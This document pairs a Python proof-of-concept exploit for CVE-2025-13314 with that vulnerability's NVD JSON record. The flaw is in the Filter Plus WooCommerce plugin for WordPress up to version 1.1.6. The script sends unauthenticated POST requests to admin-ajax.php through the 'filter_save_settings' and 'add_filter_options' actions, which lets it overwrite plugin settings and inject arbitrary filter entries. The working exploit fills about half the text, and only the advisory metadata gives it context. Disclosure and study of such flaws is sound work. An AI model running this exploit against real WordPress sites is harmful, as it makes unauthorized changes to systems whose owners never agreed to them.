CVE-2025-13314

import requests # CVE-2025-13314 PoC - Unauthorized settings modification # Target: WordPress site with Filter Plus plugin < 1.1.7 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # PoC 1: Modify plugin settings (filter_save_settings) settings_data = { "action": "filter_save_settings", "filter_settings": { "custom_key": "malicious_value", "enable_filter": True } } response = requests.post(target_url, data=settings_data) print(f"Settings modification response: {response.status_code}") print(response.text) # PoC 2: Add arbitrary filter options (add_filter_options) filter_options_data = { "action": "add_filter_options", "filter_type": "category", "filter_name": "Malicious Filter", "filter_value": "injected_content" } response2 = requests.post(target_url, data=filter_options_data) print(f"Add filter options response: {response2.status_code}") print(response2.text) # Note: Both requests work without authentication due to missing capability check

{"cve": {"id": "CVE-2025-13314", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:40.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Product Filtering by Categories, Tags, Price Range for WooCommerce – Filter Plus plugin for WordPress is vulnerable to unauthorized modification of data in all versions up to, and including, 1.1.6 due to a missing capability check on the 'filter_save_settings' and 'add_filter_options' AJAX actions. This makes it possible for unauthenticated attackers to modify the plugin's settings and create arbitrary filter options."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/filter-plus/tags/1.1.5/base/enqueue.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/filter-plus/tags/1.1.5/core/admin/settings/action.php#L23", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/filter-plus/tags/1.1.5/core/admin/settings/action.php#L28", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/filter-plus/tags/1.1.5/core/admin/settings/action.php#L82", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/filter-plus/tags/1.1.7/core/admin/settings/action.php#L23", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c9686681-4e64-43f1-ba0a-56d10c8d1db9?source=cve", "source": "[email protected]"}]}}